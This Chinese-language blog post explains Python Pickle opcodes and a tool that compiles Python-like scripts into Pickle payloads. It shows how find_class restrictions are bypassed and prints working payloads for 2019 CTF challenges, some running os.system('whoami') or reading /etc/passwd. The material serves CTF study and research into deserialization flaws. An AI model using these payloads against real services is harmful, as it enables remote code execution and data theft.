0x00 TL; DR
本文将通过分析今年几道通过手写Pickle opcode实现bypass的题目总结手撕Pickle的一些tips
以及通过遍历Python AST自动化生成Pickle opcode
repo地址https://github.com/eddieivan01/pker
0x01 Pickle简述
网上资料已经很多了,我就不再向互联网填充冗余信息了(可学习文末链接)
只总结Pickle的几个特点:
- 非图灵完备的栈语言,没有运算、循环、条件分支等结构
- 可以实现的操作
- 构造Python内置基础类型(
str
,int
,float
,list
,tuple
,dict
) dict
和list
成员的赋值(无法直接取值)- 对象成员的赋值(无法直接取值)
callable
对象的调用- 通过
_Pickler.find_class
导入模块中的某对象,find_class
的第一个参数可以是模块或包,本质是getattr(__import__(module), name)
- 版本保持向下兼容,通过opcode头解析版本
- 0号protocol使用
\n
作操作数的分割
- 构造Python内置基础类型(
0x02 Opcode简述
Pickle常见opcode,完整的可在$PYTHON/Lib/pickle.py
查看
name | op | params | describe | e.g. |
---|---|---|---|---|
MARK | ( | null | 向栈顶push一个MARK | |
STOP | . | null | 结束 | |
POP | 0 | null | 丢弃栈顶第一个元素 | |
POP_MARK | 1 | null | 丢弃栈顶到MARK之上的第一个元素 | |
DUP | 2 | null | 在栈顶赋值一次栈顶元素 | |
FLOAT | F | F [float] | push一个float | F1.0 |
INT | I | I [int] | push一个integer | I1 |
NONE | N | null | push一个None | |
REDUCE | R | [callable] [tuple] R | 调用一个callable对象 | crandom\nRandom\n)R |
STRING | S | S [string] | push一个string | S 'x' |
UNICODE | V | V [unicode] | push一个unicode string | V 'x' |
APPEND | a | [list] [obj] a | 向列表append单个对象 | ]I100\na |
BUILD | b | [obj] [dict] b | 添加实例属性(修改__dict__ ) |
cmodule\nCls\n)R(I1\nI2\ndb |
GLOBAL | c | c [module] [name] | 调用Pickler的find_class ,导入module.name并push到栈顶 |
cos\nsystem\n |
DICT | d | MARK [[k] [v]...] d | 将栈顶MARK以前的元素弹出构造dict,再push回栈顶 | (I0\nI1\nd |
EMPTY_DICT | } | null | push一个空dict | |
APPENDS | e | [list] MARK [obj...] e | 将栈顶MARK以前的元素append到前一个的list | ](I0\ne |
GET | g | g [index] | 从memo获取元素 | g0 |
INST | i | MARK [args...] i [module] [cls] | 构造一个类实例(其实等同于调用一个callable对象),内部调用了find_class |
(S'ls'\nios\nsystem\n |
LIST | l | MARK [obj] l | 将栈顶MARK以前的元素弹出构造一个list,再push回栈顶 | (I0\nl |
EMPTY_LIST | ] | null | push一个空list | |
OBJ | o | MARK [callable] [args...] o | 同INST,参数获取方式由readline变为stack.pop而已 | (cos\nsystem\nS'ls'\no |
PUT | p | p [index] | 将栈顶元素放入memo | p0 |
SETITEM | s | [dict] [k] [v] s | 设置dict的键值 | }I0\nI1\ns |
TUPLE | t | MARK [obj...] t | 将栈顶MARK以前的元素弹出构造tuple,再push回栈顶 | (I0\nI1\nt |
EMPTY_TUPLE | ) | null | push一个空tuple | |
SETITEMS | u | [dict] MARK [[k] [v]...] u | 将栈顶MARK以前的元素弹出update到前一个dict | }(I0\nI1\nu |
对应的实现都可以在pickle._Unpickler
的load_*
成员函数中查看,选取两个常见的:
pop_mark
为将MARK(
上的所有元素弹出为一个list,然后push回栈。所以需要这样构造(I0\nI1\nl
读取到INST指令后,往后读两个操作数,调用find_class
,然后弹出栈上MARK以上的参数,调用callable对象实例化,所以这样构造(S'ls'\nios\nsystem\n.
0x03 官方的Demo限制了什么
官方给出的安全反序列化是继承了pickle.Pickler
类,并重载了find_class
方法
父类原本的操作是把module导入sys.module
缓存中(并未导入全局或局部作用域),然后getattr取值,所以重载该方法后即可对module和name进行限制
哪些操作符会调用find_class
?
GLOBAL:c
INST :i
还有protocol4的STACK_GLOBAL:\x93 # same as GLOBAL but using names on the stacks
但find_class
的限制仅仅是对该函数参数过滤,并没有hook __import__
等函数,所以通过eval('__import__(\'xx\')')
等即可绕过
0x04 Bypass方法简述
拿code breaking的举例,bypass的操作是:
getattr = __import__('builtins').getattr
eval = getattr(globals()['__builtins__'], 'eval')
eval('__import__("os").system("id")')
||||||
vvvvvv
getattr = __import__('builtins').getattr
dict = __import__('builtins', 'dict')
__builtins__ = getattr(dict, 'get')(__import__('builtins').globals(), '__builtins__')
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("id")')
这里有几个点:
- 只可通过
__import__
来导入对象,所以获取__builtins__
中的对象需要__import__('builtins').xx
(Python2中是__builtin__
) - 由上一条,虽然
__import__
转手了__builtins__
,但无法获取,还是得通过globals()['__builtins__']
获取 - 字典无法直接取值,需获取到dict的类方法get,传dict实例和key进去
0x05 自动化构造
构造起来很简单,但写着汇编操作符终究比较麻烦,我们可以想办法实现自动化的Python source code => Pickle opcode
我们可以做到什么:
- 变量赋值:存到memo中,保存memo下标和变量名即可
- 函数调用
- 类型字面量构造
- list和dict成员修改
- 对象成员变量修改
感觉差不多足够应付常见构造,概括一下,我们支持这样的三种单行表达式:
- 变量赋值:
- 左值可以是变量名,dict或list的item,对象成员
- 右值可以是基础类型字面量,函数调用
- 函数调用
- return:可返回0~1个参数
0x06 遍历AST节点
Python的ast.NodeVisitor
实现了metaclass一样的动态解析类方法的功能,我们遍历这样三种语句
Pickler的__setitem__
实现了主要解析逻辑:
对应了上文中赋值语句左值和右值的几种情况
0x07 TESTING
测试今年的几道题目
Code_breaking
$ cat test/code_breaking
getattr = GLOBAL('builtins', 'getattr')
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()
__builtins__ = dict_get(builtins, '__builtins__')
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("whoami")')
return
$ python3 pker.py < test/code_breaking
b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("whoami")\'\ntR.'
Guess_game
guess_game的两种方法,每一轮修改game对象的curr_ticket或修改game的round
提一嘴,这道题之所以能修改是因为每一轮导入的game是已实例化的对象,build操作直接update了实例属性
方法一:
$ cat test/SUCTF2019_guess_game_1
Game = GLOBAL('guess_game.Game', 'Game')
game = GLOBAL('guess_game', 'game')
game.round_count = 10
game.win_count = 10
ticket = INST('guess_game.Ticket', 'Ticket', 6)
return ticket
$ python3 pker.py < test/SUCTF2019_guess_game_1
b"cguess_game.Game\nGame\np0\n0cguess_game\ngame\np1\n0g1\n(N(S'round_count'\nI10\ndtbg1\n(N(S'win_count'\nI10\ndtb(I6\niguess_game.Ticket\nTicket\np4\n0g4\n."
方法二:
$ cat test/SUCTF2019_guess_game_2
ticket = INST('guess_game.Ticket', 'Ticket', 0)
game = GLOBAL('guess_game', 'game')
game.curr_ticket = ticket
return ticket
$ python3 pker.py < test/SUCTF2019_guess_game_2
b"(I0\niguess_game.Ticket\nTicket\np0\n0cguess_game\ngame\np1\n0g1\n(N(S'curr_ticket'\ng0\ndtbg0\n."
BalsnCTF2019_Pyshv1-3
https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc/pyshv1
https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc/pyshv2
https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc/pyshv3
这三道题其实考察了不止Pickle opcode,包含一些Python特性的考察,重点还是放在Pickle payload的生成上吧
Pyshv1
$ cat test/BalsnCTF2019_Pyshv1
modules = GLOBAL('sys', 'modules')
modules['sys'] = modules
module_get = GLOBAL('sys', 'get')
os = module_get('os')
modules['sys'] = os
system = GLOBAL('sys', 'system')
system('whoami')
return
$ python3 pker.py < test/BalsnCTF2019_Pyshv1
b"csys\nmodules\np0\n0g0\nS'sys'\ng0\nscsys\nget\np2\n0g2\n(S'os'\ntRp3\n0g0\nS'sys'\ng3\nscsys\nsystem\np5\n0g5\n(S'whoami'\ntR."
$ cat test/BalsnCTF2019_Pyshv2
__dict__ = GLOBAL('structs', '__dict__')
builtins = GLOBAL('structs', '__builtins__')
gtat = GLOBAL('structs', '__getattribute__')
builtins['__import__'] = gtat
__dict__['structs'] = builtins
builtin_get = GLOBAL('structs', 'get')
eval = builtin_get('eval')
eval('open("/etc/passwd").read()')
return
$ python3 pker.py < test/BalsnCTF2019_Pyshv2
b'cstructs\n__dict__\np0\n0cstructs\n__builtins__\np1\n0cstructs\n__getattribute__\np2\n0g1\nS\'__import__\'\ng2\nsg0\nS\'structs\'\ng1\nscstructs\nget\np5\n0g5\n(S\'eval\'\ntRp6\n0g6\n(S\'open("/etc/passwd").read()\'\ntR.'
$ cat test/BalsnCTF2019_Pyshv3
User = GLOBAL('structs', 'User')
User.__set__ = User
user = User(0, 0)
User.privileged = user
return user
$ python3 pker.py < test/BalsnCTF2019_Pyshv3
b"cstructs\nUser\np0\n0g0\n(N(S'__set__'\ng0\ndtbg0\n(I0\nI0\ntRp2\n0g0\n(N(S'privileged'\ng2\ndtbg2\n."
这里再提一嘴:
实例方法是自动绑定了实例本身的类方法,和函数签名是完全吻合的。直接获取实例的方法已经绑定了第一个参数,可以看作是函数的柯里化
类的
__set__
方法需在类定义时定义,同样设置setter
也需对类成员设置(类成员是类对象的成员,实例成员为各实例私有(今天还看见先知群师傅在问))Python3中的类属性
cls.__dict__
是mappingproxy代理对象,不支持直接的cls.__dict__['x'] = 0
的修改,所以在生成Pickle opcode中我统一使用了(}(I0\nI1\ndtb
的方法,原因在Pickle源码中的load_build方法:-
其实按逻辑来说只要tuple的第一个值为空值即可,但模块实际导入了
_pickle
模块,和这里列出的函数实现不同,它要求第一个值必须是dict(也可以是None)
-